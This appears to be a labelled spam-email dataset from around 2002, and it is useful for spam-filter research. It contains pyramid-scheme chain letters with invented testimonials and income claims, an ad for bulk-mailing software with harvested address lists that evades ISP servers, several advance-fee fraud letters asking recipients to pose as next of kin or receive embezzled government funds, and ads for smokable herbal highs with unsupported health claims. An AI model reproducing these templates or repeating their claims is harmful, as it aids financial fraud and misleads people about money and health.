my friend, I have given you the ideas, information, materials and opportunity .... IT IS UP TO YOU NOW! ==================== MORE TESTIMONIALS====================== '' My name is Mitchell. My wife, Jody and I live in Chicago. I am an accountant with a major U.S. Corporation and I make pretty good money. When I received this program I grumbled to Jody about receiving ''junk mail''. I made fun of the whole thing, spouting my knowledge of the population and percentages involved. I ''knew'' it wouldn't work. Jody totally ignored my supposed intelligence and few days later she jumped in with both feet. I made merciless fun of her, and was ready to lay the old ''I told you so'' on her when the thing didn't work. Well, the laugh was on me! Within 3 weeks she had received 50 responses within the next 45 days she had so many orders and ... all cash! I was shocked. I have joined Jody in her ''hobby''. Mitchell Wolf M.D., Chicago, Illinois =============================================================== '' Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative that I am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back''. '' I was surprised when I found my medium size post office box crammed with orders. I made a large 6 figure income in the first 12 weeks. The nice thing about this deal is that it does not matter where people live. There simply isn't a better investment with a faster return and so big''. Dan Sondstrom, Alberta, Canada ================================================================ '' I had received this program before. I deleted it, but later I wondered if I should have given it a try. Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed again by someone else ........ 11 months passed then it luckily came again ...... I did not delete this one! I made a six figure income on my first try and all the money came within 22 weeks''. Susan De Suza, New York, N.Y. ================================================================ '' It really is a great opportunity to make relatively easy money with little cost to you. I followed the simple instructions carefully and within 10 days the money started to come in. My first month I made a substantial income and by the end of the third month my total cash count was a healthy 6 figure income. Life is beautiful, Thanks to internet''. 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Dear Sir, I am Mr.Eduado de Mello, one of the Principal Commanders of the Union for the Total Independence of Angola,UNITA.Well needless telling a very long story here for our story is indeed interwoven with the history of the world and the liberation struggle in the Southern African region of the African continent. The bubble burst just about some weeks ago today when my supreme commander, the late Dr.Jonas Savimbi was killed in an encounter with the government forces of the MPLA government of my country.The rest is now history but suffice it to say that I am tired of the unfortunate role of waging a war against my fatherland.I have therefore decided to pull out my troupes from the bush even if the other field commanders decide otherwise am therefore poised to effect a new beginning in my life and I have decided to make South Africa my new home at least for the interim period until I am sufficiently sure that I would be welcome home whole heartedly by the MPLA government in Luanda the capital of Angola. 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By no other means can you effectively reach your market so quickly and inexpensively."" - ONLINE PROFITS NEWSLETTER ""Many business people are finding out that they can now advertise in ways that they never could have afforded in the past. The cost of sending mass e-mail is extremely low, and the response rate is high and quick."" - USA TODAY ---- --- -- - - [EXAMPLE OF A PERSONALIZED/TARGETED BROADCAST EMAIL]: -------- ------- ------ ----- ---- --- -- - - From: kate@cattiesinc.com To: mary@commtomm.com Subject: About Your Cat! Hi Mary, Are you interested in receiving up to 80% SAVINGS on CAT SUPPLIES? If so, come visit our web site at: http://www.cattiesinc.com ========================================================= => With Broadcast Email Software, a Broadcast Email Advertisement => like this one can be AUTOMATICALLY sent to up to 1,000,000 => PEOPLE on a DAILY BASIS with LESS than 2 MINUTES of YOUR TIME! * IMT Strategies Reports an AVERAGE of a 16.4% CLICK THROUGH RATE from users that have received a Broadcast Email Advertisement! ----- ---- --- -- - - A EUROPEAN 2001 BENCHMARK STUDY Conducted by Forrester Research Says: 1) 41% of Consumers Believe Email is a Good Way to Find out About New Products. 2) 36% of Consumers in 13 Countries Read Most of the Promotional Email they Receive and 9% Forward the Email to a Friend Because They Think it is Valuable. ---- --- -- - - BE PREPARED! You may receive A HUGE AMOUNT of orders within minutes of sending out your first Broadcast Email Advertisement! * According to Digital Impact, 85% of Broadcast Email Offers are responded to within the FIRST 48 HOURS! ""When you reach people with e-mail, they're in a work mode, even if they're not at work. They're sitting up, they're alert. You catch them at a good moment, and if you do it right, you have a really good shot of having them respond."" - WILLIAM THAMES [Revnet Direct Marketing VP] ---- --- -- - - * An Arthur Anderson Online Panel reveals that 85% of Online Users say that Broadcast Email Advertisements have LED TO A PURCHASE!"" ""According to FloNetwork, US Consumers DISCOVER New Products and Services 7+ TIMES MORE OFTEN through an Email Advertisement, than through Search Engines, Magazines and Television COMBINED!"" Only a HANDFUL of Companies on the Internet have Discovered Broadcast Email Advertising... => NOW YOU CAN BE ONE OF THEM!! ---- --- -- - - => United Messaging says there are 890+ MILLION EMAIL ADDRESSES! => GET READY! Now with Broadcast Email, You Can Reach them ALL => Thanks to our Broadcast Email Software! Our Broadcast Email Software with DNS Technology Automatically Creates 10 SUPER-FAST MAIL SERVERS on Your COMPUTER which are then used to Send out Your Broadcast Emails to MILLIONS for FREE! ==> With our NEW EMAIL SENDING TECHNOLOGY... ==> Your Internet Provider's Mail Servers are NOT USED! There are NO Federal Regulations or Laws on Email Advertising & Now with Our Software => You Can Avoid Internet Provider Concerns! ========================================================= => If you send a Broadcast Email Advertisement to 50,000,000 => People and Just 1 of 5,000 People Respond, You Can Generate => 10,000 EXTRA ORDERS! How Much EXTRA PROFIT is this for You? ========================================================= ------ ----- ---- --- -- - - As Featured in: ""The Boston Globe"" (05/29/98), ""The Press Democrat"" (01/08/99), ""Anvil Media"" (01/29/98): ========================================================= [NIM Corporation Presents]: THE BROADCAST EMAIL PACKAGE ========================================================= REQUIREMENTS: WIN 95/98/2000/ME/NT/XP or MAC SoftWindows/VirtualPC [BROADCAST EMAIL SENDER SOFTWARE] ($479.00 Retail): Our Broadcast Email Sender Software allows you the ability to send out Unlimited, Personalized and Targeted Broadcast Email Advertisements to OVER 500,000,000 People on the Internet at the rate of up to 1,000,000 DAILY, AUTOMATICALLY and for FREE! Have a List of Your Customer Email Addresses? Broadcast Email Advertise to Them with our Software for FREE! [TARGETED EMAIL EXTRACTOR SOFTWARE] ($299.00 Retail): Our Targeted Email Extractor Software will Automatically Navigate through the TOP 8 Search Engines, 50,000+ Newsgroups, Millions of Web Sites, Deja News, Etc.. and Collect MILLIONS of Targeted Email Addresses by using the keywords of your choice! This is the ULTIMATE EXTRACTOR TOOL! [15,000,000+ EMAIL ADDRESSES] ($495.00 Retail): MILLIONS of the NEWEST & FRESHEST General Interest and Regionally Targeted Email Addresses Separated by Area Code, State, Province, and Country! From Alabama to Wyoming, Argentina to Zimbabwe! 15,000,000+ FRESH EMAILS are YOURS! [STEP BY STEP BROADCAST EMAIL PACKAGE INSTRUCTIONS]: You will be Guided through the Entire Process of Installing and Using our Broadcast Email Software to Send out Broadcast Email Advertisements, like this one, to MILLIONS of PEOPLE for FREE! Even if you have NEVER used a computer before, these instructions make sending Broadcast Email as EASY AS 1-2-3! [THE BROADCAST EMAIL HANDBOOK]: The Broadcast Email Handbook will describe to you in detail, everything you ever wanted to know about Broadcast Email! Learn how to write a SUCCESSFUL Advertisement, how to manage the HUNDREDS of NEW ORDERS you could start receiving, what sells BEST via Broadcast Email, etc... This Handbook is a NECESSITY for ANYONE involved in Broadcast Email! [UNLIMITED CUSTOMER & TECHNICAL SUPPORT]: If you ever have ANY questions, problems or concerns with ANYTHING related to Broadcast Email, we include UNLIMITED Customer & Technical Support to assist you! Our #1 GOAL is CUSTOMER SATISFACTION! [ADDITIONAL INFORMATION]: Our Broadcast Email Software Package contains so many features, that it would take five additional pages just to list them all! Duplicate Removing, Automatic Personalization, and Free Upgrades are just a few of the additional bonuses included with our Broadcast Email Software Package! ------ ----- ---- --- -- - - ALL TOGETHER our Broadcast Email Package contains EVERYTHING YOU WILL EVER NEED for Your Entire Broadcast Email Campaign! You Will Receive the ENTIRE Broadcast Email Package with EVERYTHING Listed Above ($1,250.00+ RETAIL) for ONLY $499.00 US! ======================================================== BUT WAIT!! If You Order by Monday, May 20th, You Will Receive the Broadcast Email Package for ONLY $295.00 US!! ======================================================== Order NOW and Receive [13,000,000 BONUS EMAILS] ($899 VALUE) for FREE for a TOTAL of 28,000,000 FRESH EMAIL ADDRESSES!! ======================================================== Regardless, if you send to 1,000 or 100,000,000 PEOPLE... You will NEVER encounter any additional charges ever again! Our Broadcast Email Software sends Email for a LIFETIME for FREE! ----- ---- --- -- - - Since 1997, we have been the Broadcast Email Marketing Authority. Our #1 GOAL is to SEE YOU SUCCEED with Broadcast Email Advertising. We are so confident about our Broadcast Email Package, that we are giving you 30 DAYS to USE OUR ENTIRE PACKAGE FOR FREE! ==> You can SEND Unlimited Broadcast Email Advertisements! ==> You can EXTRACT Unlimited Targeted Email Addresses! ==> You can RECEIVE Unlimited Orders! If you do not receive at least a 300% INCREASE in SALES or are not 100% COMPLETELY SATISFIED with each and every single aspect of our Broadcast Email Package, simply return it to us within 30 DAYS for a 100% FULL REFUND, NO QUESTIONS ASKED!! Best of ALL, if you decide to keep our Broadcast Email Package, it can be used as a 100% TAX WRITE OFF for your Business! ---- --- -- - - See what users of our Broadcast Email Package have to say... ========================================================= ""Since using your program, I have made as much in two days as I had in the previous two weeks!!!!! I have to say thank you for this program - you have turned a hobby into a serious money making concern."" = W. ROGERS - Chicago, IL ""We have used the software to send to all our members plus about 100,000 off the disk you sent with the software and the response we have had is just FANTASTIC!! Our visits and sales are nearly at an all time high!"" = A. FREEMAN - England, UK ""I have received over 1200 visitors today and that was only sending out to 10,000 email addresses!"" = K. SWIFT - Gunnison, CO ""I'm a happy customer of a few years now. Thanks a lot....I love this program.."" = S. GALLAGHER - Melville, NY ""Thanks for your prompt filing of my order for your broadcast email software -- it took only about a day. This is faster than ANYBODY I have ever ordered something from! Thanks again!"" = W. INGERSOLL - Scottsdale, AZ ""I feel very good about referring the folks I have sent to you thus far and will continue to do so. It is rare to find a company that does business this way anymore...it is greatly appreciated."" = T. BLAKE - Phoenix, AZ ""Your software is a wonderful tool! A++++"" = S. NOVA - Los Angeles, CA ""Thank you for providing such a fantastic product."" = M. LOPEZ - Tucson, AZ ""Your tech support is the best I have ever seen!"" = G. GONZALEZ - Malibu, CA ""I am truly impressed with the level of service. I must admit I was a bit skeptical when reading your ad but you certainly deliver!"" = I. BEAUDOIN - Toronto, ON ""My first go round gave me $3000 to $4000 in business in less than one week so I must thank your company for getting me started."" = A. ROBERTS - San Francisco, CA ""We are really happy with your Email program. It has increased our business by about 500%."" = M. JONES - Vancouver, BC ""IT REALLY WORKS!!!!! Thank you thank you, thank you."" = J. BECKLEY - Cupertino, CA ----- ---- --- -- - - [SOUND TOO GOOD TO BE TRUE?] ** If you Broadcast Email to 500,000 Internet Users Daily... ** Do you think that maybe 1 of 5,000 may order? => If so... That is 100 EXTRA (COST-FREE) ORDERS EVERY DAY!! Remember.. You have 30 DAYS to use our Broadcast Email Package for FREE and SEE IF IT WORKS FOR YOU! If YOU are not 100% COMPLETELY SATISFIED, SIMPLY RETURN the Broadcast Email Package to us within 30 DAYS for a FULL REFUND! --- -- - - [BROADCAST EMAIL SOFTWARE PACKAGE]: Easy Ordering Instructions ========================================================= => Once your order is received we will IMMEDIATELY RUSH out the => Broadcast Email Package on CD-ROM to you via FEDEX PRIORITY => OVERNIGHT or 2-DAY PRIORITY INTERNATIONAL the SAME DAY FREE! ------- ------ ----- ---- --- -- - - [TO ORDER BY PHONE]: To order our Broadcast Email Software Package by phone with a Credit Card or if you have any additional questions, please call our Sales Department in the USA at: => (541)665-0400 ** YOU CAN ORDER NOW! ALL Major Credit Cards are Accepted! ORDER by 3PM PST (M-TH) TODAY -> Have it by 10am TOMORROW FREE! EUROPEAN & FOREIGN Residents -> Have it within 2 WEEKDAYS FREE! REMOVAL From Our Email List => CALL (206)208-4589 ------- ------ ----- ---- --- -- - - [TO ORDER BY FAX]: To order our Broadcast Email Software Package by fax with a Credit Card, please print out the order form at the bottom of this email and complete all necessary blanks. Then, fax the completed order form to our Order Department in the USA at: => (503)213-6416 ------- ------ ----- ---- --- -- - - [TO ORDER BY POSTAL MAIL]: To order our Broadcast Email Software Package with a Cashiers Check, Credit Card, US Money Order, US Personal Check, or US Bank Draft by postal mail, please print out the order form at the bottom of this email and complete all necessary blanks. Send it along with payment of $295.00 US postmarked by Monday, May 20th, or $499.00 US after Monday, May 20th to: NIM Corporation 1314-B Center Drive #514 Medford,OR 97501 United States of America ----- ---- --- -- - - ""OVER 20,000 BUSINESSES come on the Internet EVERY single day... If you don't send out Broadcast Email... YOUR COMPETITION WILL!"" ------- ------ ----- ---- --- -- - - [Broadcast Email Software Package]: ORDER FORM (c)1997-2002 NIM Corporation. All Rights Reserved ========================================================= Company Name: __________________________________________ Your Name: ______________________________________________ BILLING ADDRESS: ________________________________________ City: ___________________ State/Province: _____________________ Zip/Postal Code: __________ Country: __________________________ NON POBOX SHIPPING ADDRESS: ____________________________ City: ___________________ State/Province: _____________________ Zip/Postal Code: __________ Country: __________________________ Phone Number: ______________ Fax Number: ___________________ Email Address: ____________________________________________ ** To Purchase by Credit Card, Please Complete the Following: Visa [ ] Mastercard [ ] AmEx [ ] Discover [ ] Diners Club [ ] Name on Credit Card: _______________________________________ CC Number: ____________________________ Exp. Date: _________ Amount to Charge Credit Card ($295.00 or $499.00): _______________ Signature: ________________________________________________ =========================================================",1,1 lisa@freightmart.com,yyyy@spamassassin.taint.org,"Fri, 17 May 2002 18:36:10 -0700",An Invitation to Advertise on Freightmart!," ",1,1 makelotsofcash@hotmail.com,,"Sat, 18 May 2002 05:04:36",FINANCIAL FREEDOM,"Dear Friend, How would you like to make $50,000 in the next 90 days? Sounds impossible? I guarantee that it's true, and YOU can do it. I'm sure you would like an extra $50,000 to spend. For more information, please visit the website below. http://www.geocities.com/akcina/index.html If the above link does not work, please copy the address and paste it into your web browser. AT THE VERY LEAST TAKE A MINUTE TO LOOK AT WHAT IS ON THE SITE, IT MAY CHANGE YOUR LIFE FOREVER. Note: This is not an unsolicited e-mail. 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Click here and we will send you more info by e-mail. mailto:agenomore301@netscape.net?subject=antiaging-info Best Regards Jim Alston Anti-Aging Counselor ******************************************************************************** We apologize if you are not interested in learning more about how to grow younger, trim down and feel better. The Internet is the fastest method of distributing this type of timely information. If you wish to have your e-mail address deleted from our Better Health News e-mail database, DO NOT USE THE REPLY BUTTON. THE FROM ADDRESS DOES NOT GO TO OUR REMOVE DATABASE. Simply click here send an e-mail to: mailto:opt-out@soon.com?subject=remove",1,0 othema2002@hotmail.com,Friend@public.com,"Sat, 18 May 02 03:06:12 EST",bank inheritance,"Thema Ordi Tel:27 83 6919246 othema2002@37.com JOHANNESBURG, SOUTH AFRICA. ATTN: PRESIDENT/C.E.O. DEAR SIR, I AM MR. Thema Ordi, MANAGER OF BILLS/EXCHANGE AT THE FOREIGN REMITTANCE DEPARTMENT OF ABSA BANK LIMITED. IN MY DEPARTMENT, WE DISCOVERED AN ABANDONED SUM OF US$12.5,000,000 (Twelve POINT FIVE MILLION US DOLLARS ONLY) IN AN ACCOUNT THAT BELONGED TO ONE OF OUR FOREIGN CUSTOMERS WHO DIED ALONG WITH HIS ENTIRE FAMILY ON NOVEMBER 1994 IN A GHASTLY PLANE CRASH. SINCE WE GOT INFORMATION ABOUT HIS DEATH, WE HAVE BEEN EXPECTING HIS NEXT-OF-KIN TO COME OVER AND CLAIM HIS MONEY BECAUSE WE CANNOT RELEASE IT UNLESS SOMEBODY APPLIED FOR IT AS NEXT-OF-KIN, OR RELATION TO THE DECEASED AS INDICATED IN OUR BANKING GUIDELINES. UNFORTUNATELY, NOBODY HAS COME FOWARD TO CLAIM THIS MONEY. IT IS BASED ON THIS THAT SOME OFFICIALS IN MY DEPARTEMENT AND I HAVE DECIDED TO ESTABLISH A CORDIAL BUSINESS RELATIONSHIP WITH YOU, HENCE MY CONTACTING YOU. WE WANT YOU TO PRESENT YOURSELF AS THE NEXT-OF-KIN OR RELATION OF THE DECEASED SO THAT THE FUND CAN BE REMITTED INTO YOUR ACCOUNT. MOREOVER, WE DO NOT WANT THE MONEY TO GO INTO THE GOVERNMENT ACCOUNT AS UNCLAIMED BILL. THE BANKING LAW AND GUIDELINES HERE STIPULATE THAT ANY ACCOUNT ABANDONED OR IS DORMANT FOR A PERIOD OF YEARS IS DEEMED CLOSED AND ALL MONEY CONTAINED THEREIN FORFEITED TO THE GOVERNMENT TREASURY ACCOUNT. NOW IT IS BEING SPECULATED THAT THE ABOVE SUM WILL BE TRANSFERED INTO THE GOVERNMENT ACCOUNT AS AN UNCLAIMED FUND ON OR BEFORE DECEMBER 2002. THE REASON FOR REQUESTING YOU TO PRESENT YOURSELF AS NEXT-OF-KIN IS OCCASIONED BY THE FACT THAT THE DECEASED (CUSTOMER) WAS A FOREIGNER. THE MODE OF SHARING AFTER A SUCCESSFUL TRANSFER OF THE MONEY INTO YOUR ACCOUNT: 60% TO MY COLLEAGUES AND I; FOR THE ROLE YOU WILL BE EXPECTED TO PLAY IN THIS DEAL, WE HAVE AGREED TO GIVE YOU THIRTY PERCENT (30%) OF THE TOTAL SUM, AND 10% FOR THE EXPENSES WE ARE GOING TO ENCOUNTER BY THE TWO PARTIES AT THE COURSE OF THIS TRANSACTION.THEREFORE YOU ARE EXPECTED TO REPLY THIS LETTER INDICATING YOUR READINESS AND INTEREST TO PARTICIPATTE IN THIS BUSINESS. AFTER RECEIVING YOUR REPLY, YOU WILL BE COMMUNICATED TO WITH THE EXACT STEPS TO TAKE. I EXPECT YOUR URGENT RESPONSE EITHER BY EMAIL TO :othema2002@37.com TO ENABLE US CONCLUDE THIS TRANSACTION ON YOUR REPLY I SHALL CALL YOU AND GIVE YOU MY PHONE NUMBER FOR SECURITY REASONS. URGENTLY. PLEASE TREAT THIS BUSINESS PROPOSAL AS STRICTLY CONFIDENTIAL FOR SECURITY REASONS. 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Firstly, I must solicit your strictest confidentiality in this transaction. This is by virtue of its nature as being utterly CONFIDENTIAL and TOP SECRET. Though I know that a transaction of this magnitude will make anyone apprehensive and worried, but I am assuring you that all will be well at the end of the day. We have decided to contact you first by your email due to the urgency of this transaction, as we have been reliably informed that it will take at least two to three weeks for a normal post to reach you. So we decided it is best using the email. Let me start by first introducing myself properly to you. I am Dr. Kaku Opa, a director general in the Ministry of Mines and Power and I head a Three-man tender board appointed by the Government of the Federal Republic of Nigeria to award contracts to individuals and companies and to approve such contract payments in the Ministry of Mines and Power. The duties of the committee also include evaluation, vetting and monitoring of work done by foreign and local contractors in the ministry. I came to know of you in my search for a reliable and reputable person to handle a very confidential business transaction which involves the transfer of a huge sum of money to a foreign account requiring maximum confidence. In order to commence this business, we solicit for your assistance to enable us transfer into your account the said funds. The source of this funds is as follows: Between 1996 and 1997, this committee awarded contracts to various contractors for engineering, procurement, supply of electrical equipments such as Transformers, and some rural electrification projects. However, these contracts were over-invoiced by the committee, thereby, leaving the sum of US$11.5million dollars (Eleven Million Five Hundred thousand United States Dollars) in excess. This was done with the intention that the committee will share the excess when the payments are approved. The Federal Government have since approved the total contract sum which has been paid out to the companies and contractors concerned which executed the contracts, leaving the balance of $11.5m dollars, which we need your assistance to transfer into a safe off-shore and reliable account to be disbursed amongst ourselves. We need your assistance as the funds are presently secured in an escrow account of the Federal Government specifically set aside for the settlement of outstanding payments to foreign contractors. We are handicapped in the circumstances as the civil service code of conduct, does not allow us to operate off-shore accounts, hence your importance in the whole transaction. My colleagues and I have agreed that if you or your company can act as the beneficiary of this funds on our behalf, you or your company will retain 20% of the total amount of US$11,500,000.00 (Eleven Million Five Hundred Thousand United States Dollars), while 70% will be for us (members of this panel) and the remaining 10% will be used in offsetting all debts/expenses incurred (both local and foreign) in the cause of this transfer. Needless to say, the trust reposed on you at this juncture is enormous. In return we demand your complete honesty and trust. It does not matter whether or not your company does contract projects of this nature described here, the assumption is that your company won the major contract and sub-contracted it out to other companies. More often than not, big trading companies or firms of unrelated fields win major contracts and subcontract to more specialized firms for execution of such contracts. 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We have decided to contact you by email due to the urgency of this transaction, as we have been reliably informed that it will take at least a minimum of two to three weeks for a normal post to reach you, so we decided it is best using the e-mail,which is quicker and also to enable us meet up with the second quater payment for the year 2000. However, let me start by introducing myself properly to you. I am Dr.tom eke, a Director General in the Department Of Petroleum Resources(D.P.R) and I presently head The Contract Award Panel incharge of Contract Awards and Payment Approvals. I came to know of you in my search for a reliable and reputable person to handle a very confidential business transaction which involves the transfer of a huge sum of money to a foreign account requiring maximum CONFIDENCE. I and my colleagues are Top Officials of the Federal Government Contract Award Panel. Our duties include Evaluation, Vetting, Approval for payment of Contract jobs done for the D.P.R e.t.c. In order to commence this business we solicit for your assistance to enable us transfer into your Account the said funds. The source of this funds is as follows: In the second quarter of 2001 this committee was mandated to review and award contracts to the tune of US$400 million US dollars to a group of five firms for the supply construction and installation of Oil Pipe lines in Warri and Port Harcourt. During this process my colleagues and I decided and agreed among ourselves to deliberately over-inflate the total contract sum from US$400 million to US$431 million United States dollars with the main intention of sharing the remaining sum of US$31 miilion amongst ourselves. The Federal Government of Nigeria has since the second quater of year 2001 approved the sum of US$431 million for us as the contract sum, and the sum of US$400 million has also been paid to the foreign companies concerned as contract entitlements for the various contracts done, but since the companies are entiltled to US$400 million dollars only, we are now left with US$31 million dollars balance in the account which we intend to disburse amongst ourselves, but by virtue of our positions as civil servants and members of this panel, we cannot do this by ourselves, as we are prohibited by the Code of Conduct Bureau (Civil Service Laws) from opening and/or operating foreign accounts in our names while still in Government service, making it impossible for us to acquire the money in our names right now. I have therefore, been delegated as a matter of trust and urgency by my colleagues in the panel to look for an overseas partner into whose account we would transfer the sum of US$31 million. Hence we are writing you this letter. My Colleagues and I have agreed that if you or your company can act as the beneficiary of this funds on our behalf, you or your Company will retain 20% of the total amount (US$31 million), while 70% will be for us(OFFICIALS) and the remaining 10% will be used in offsetting all debts/expenses and Taxes incurred both local and foreign in the cause of this transfer. Needless to say, the trust reposed on you at this juncture is enormous. In return we demand your complete honesty and trust. You must however NOTE that this transaction will be strictly based on the following terms and conditions as we have stated below; a) Our conviction of your transparent honesty and diligence b) That you would treat this transaction with utmost secrecy and confidentiality c) That you will not ask for more share or try to sit on the funds once it is under your custody, or any form of blackmail. d) That upon receipt of the funds you will release the funds as instructed by us after you have removed your share of 20% from the total amount. Please, note that this transaction is 100% legal and risk free and we hope to conclude this transaction seven to fourteen bank working days from the date of receipt of the necessary requirements from you . We are looking forward to doing business with you and solicit your Total Confidentiality in this transaction. There is no cause for alarm. I give you my word that you are completely safe in doing business with us. Transactions like this have been successfully carried out in the past by most Government executives. Here in my country there is great economic and political disarray and thus looting and corruption is rampant and the order of the day, thus explaining why you might have heard stories of how money is been taken out of Nigeria, this is because everyone is making desperate attempts to secure his or her future, so that when we retire from active service we donot languish in poverty. I will explain more to you when I have heard from you. Please acknowledge the receipt of this letter using the above e-mail address. I will bring you into the complete picture of this pending business transaction when I have heard from you and also receive your confidential telephone and fax numbers to enable me fax to you all necessary information you need to know about our pending business transaction. I will also send to you my private telephone and fax numbers where you can always reach me. Your urgent response will be highly appreciated to enable us transfer the funds under the second quarter of the year 2002. Thank you and God Bless. Yours faithfully, Dr.tom eke. N.B. PLEASE BE INFORMED THAT THIS BUSINESS TRANSACTION IS 100% LEGAL AND COMPLETELY FREE FROM DRUG MONEY OR MONEY LAUNDERING. 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Seventh Heaven Temple 3 Ragga Dagga (TM) is the sweet, sweet evolution of all of that. * A 20 X MORE VIRIPOTENT HERBA SUPPLEMENT THAN ITS PREDESSORS (TEMPLE 1 & 2). * HAPPIER, HAPPY SMOKING!!! * INDEED, A DEPRESSIVE REGRESSIVE, SUPPLEMENTAL MOOD-ENHANCER. * MORE SOPHISTICATED, UPLIFTING & POISED THAN ILLEGAL SMOKING SUBSTANCES. * NO REGULATION, NO ILLEGALITY, NO FAILED DRUG TESTS!!! * INHIBITS STRESS AND ANXIETY. * INSPIRES CONTEMPLATIVENESS & CREATIVITY. * ENHANCES THE SEXUAL EXPERIENCE!!! * GENERATES MORE RESTFUL SLEEP & LUCID DREAMING. * A SIGNIFICANT HERBA / BOTANICAL SUPPLEMENT IN THE BATTLES AGAINST DRUG AND ALCOHOL DEPENDENCE!!!! * EASILY IGNITED & STOKED. * SMOKES SWEETLY! * ABSOLUTELY LEGAL / NON-INVASIVE / NO DOWNSIDE!!! * LINGERS FOR A GOOD, GOODLY WHILE! * POSSESSES MANY FINE GANJA VIRTUES WITH NONE OF THE NEGATIVES!!! * JUST A LITTLE SNIPPET / PINCH GOES A LONG, LONG WAY.JUST 4 OR 5 DRAWS OF YOUR PIPE (A traditional hand herb-pipe is included with each package of Ragga Dagga). Temple 3 Ragga Dagga (TM) is an exclusive, botanical/herba, proprietary; Nepalesian formulated, ultra-Sensitive/Responsive, pipe-smoking/stoking substance and is undoubtedly the most prestigious, legal offering of its sort on the planet!!! So smokin/stokin potent is this cutting edge formulation, that we have even been able to establish a very happy clientele market base within the hard-core stoner arena and have made positive, happy, smoking differences in many, many lives. ABSOLUTELY LEGAL! MARVELOUSLY POTENT!! A one-of-a-kind, proprietary amalgamation, comprised of extreme high-ratio concentrated extracts which are derived from various common and uncommon sensitive/responsive herbas primarily cultivated within and imported from the southern and eastern hemispheres; Temple 3 Ragga Dagga (TM) high-ratio factored botanical extractions are master-crafted into solid jiggets/bars which are structurally reminiscent of what one might find in the happiness coffee and tea houses of Nepal/Kathmandu/Amsterdam and in many aspects, possesses a more collected and more focused, less scattered ambiance. Ingredients: Temple smoking substances and Temple 3 Ragga Dagga (TM) have always been and will always remain exclusive EXOTIC BOTANICAL RESOURCES House Smoking Substance Specialties. Temple 3 Ragga Dagga (TM) is both a euphonious/celebratory and relaxing/calming pipe-smoking substance that offers both physical and cerebral significators. Temple 3 Ragga Dagga (TM) is a proprietary, prescribed botanical amalgamation which includes the following synergistically/synesthesia conglomerated, core-refined, ratio-enhanced herbas/botanicals, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1, to 100 to 1 viripotent concentrations Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Hybrid Flowering Turnera Diffusa, Capillaris Herba, Angelica Root, Wild Dagga mature leaf matter, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian stems, Calea Zacalechichi buddings, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshu! ra cuttings. Please Note: Temple 3 Ragga Dagga (TM) is an absolutely legal, herba/botanical, Personal Choice, pipe-smoking substantiality product!!! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Temple 3 Ragga Dagga (TM). There is certainly no cannabis/marijuana in Temple 3 Ragga Dagga (TM). And although we are not age-governed by law.Temple 3 Ragga Dagga (TM) is intended exclusively for sophisticated adult usage! Subsequently, it is our MANDATORY ethical policy that Temple 3 Ragga Dagga (TM) may not be sold, offered, or given to any person that has not attained at least twenty-one years of age. All things in their time. As well, Temple 3 Ragga Dagga (TM) is not intended for use during work or while driving. It should not be enjoyed during pregnancy nor is it intended to supercede physicians care in any regard. ======================================================== Here is what our customers are saying about the Temple 3 Ragga Dagga (TM) phenomenon: To whom it may concern, I was skeptical when I first read your ad. I grew up in the 70s & 80s. I was a hard core (alternative smoker) then. So I knew my stuff. But drug tests stopped that! Now I am disabled from a degenerative muscle, ligament, and tendon disease. I was smoking (an illegal product) for the pain and nausea. Now I have something just as good; Temple 3, but cheaper, and it is legal! I also have a lot of trouble sleeping, but the Capillaris Herba made into tea works and smells great! Your products that I tried so far, are as good or better than your ads say! That is hard to find nowadays in a company. Who ever put this stuff together is a botanical genius. I will be a customer for life! Also, I talked with a lady on the phone when I was ordering, and asked her to find out if I could get my products and samples to hand out for free. And just send the customers to you. Or get a discount on products that I could sell retail to people. I would prefer the earlier one becau! se, I can just talk about your products, I am a great salesman (about 10 years experience), I could hand out flyers, give out little 1 gram pieces as samplers with your business card enclosed, etc.. I am going to be unable to work a regular job for a while, maybe indefinitely? This deal would give me my own products and samples for free? You would get free advertising, word of mouth, samples into peoples hands to try, someone that is very good with computers, someone who studied about mail order, Internet, cold calling, small business, good with people, etc.. I would like to be doing something, even if I would get on Social Security Disability. It is very disheartening not being able to work to support my 2 teenage boys, or do a lot of the things I used to do! At least I would be able to do something worthwhile. And great products makes it real easy to sell. Let me know what you think? Sincerely, RJ Location: Midwest, U.S.A. Thank you so much for the Ragga. It is everything you guys claim, and then some! I was a bit skeptical when I read your description of its effects, but there is literally no exaggeration in your advertisements. How nice that this is non-prohibited! It tastes great and feels great too! I am so glad I took a chance and ordered. Blessings to all of you. -- Frankie R. Location: West Coast, USA Im a man of my 40s and I really know my stuff. I dont drink or do illegal drugs anymore and have found a much more spiritual path. I used to have to take Valium in the past. Not anymore with the Temple 3. It really amazes me how this stuff tastes like the Lebanese and blonde stuff I used to smoke in the 70s. I am very satisfied with all of your products. I like them a lot and will be a customer for life for sure. Whoever makes this stuff is an ARTIST at it. Who would have thought?! -- A.J. Location: United Kingdom ======================================================== Finally, we realize of course that this Temple 3 Ragga Dagga (TM) is not inexpensive. (Temple 3 Ragga Dagga (TM) is a very, very Sweet Smoke and sweetness is never acquired inexpensively. Such is the way of the Economic Tao....), nor, as a matter of fact, is it inexpensive for us to acquire, factor or master-craft. Quite simply, it is the very best of its Kind that there is to be acquired. Just a snippet/pinch of this Temple 3 Ragga Dagga (TM). Four or five draws of your pipe.as is the magical way.lingers for a good, goodly while!!! (An herb pipe and usage instructions are included with each Temple 3 Ragga Dagga (TM) Package.) Seventh Heaven Temple 3 Ragga Dagga (TM) is offered exclusively in 56 gram (2 oz.) and 22 gram (.75 oz.) jiggets/bars for $115.00 and $65.00 respectively. Sorry, no volume discounts. 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For those of you who seek to achieve most demonstrative/non-invasive/non-prohibitive appetite suppression without the negative implications of ongoing usage of MaHuang Herb, Ephedra/Ephedrine or Caffeine as are so magnaminously utilized in a multitude of herbal ""diet aids"" entitled as ""Thermogenics"" ... this is ABSOLUTELY the herbal agenda/product for you!! Entirely Natural! Increases Energy! Increases Metabolism! Decreases Appetite! *********************************************** Extreme Martial Arts Botanical Remedies Eastern culture has long had a treatment for bone, muscle, tendon, ligament, sinew and joint distress, traumas, afflictions and constrictions. We are pleased to offer Equivalence Tablets & Dragon Wing Remedy Spray (Hei Ping Shun) 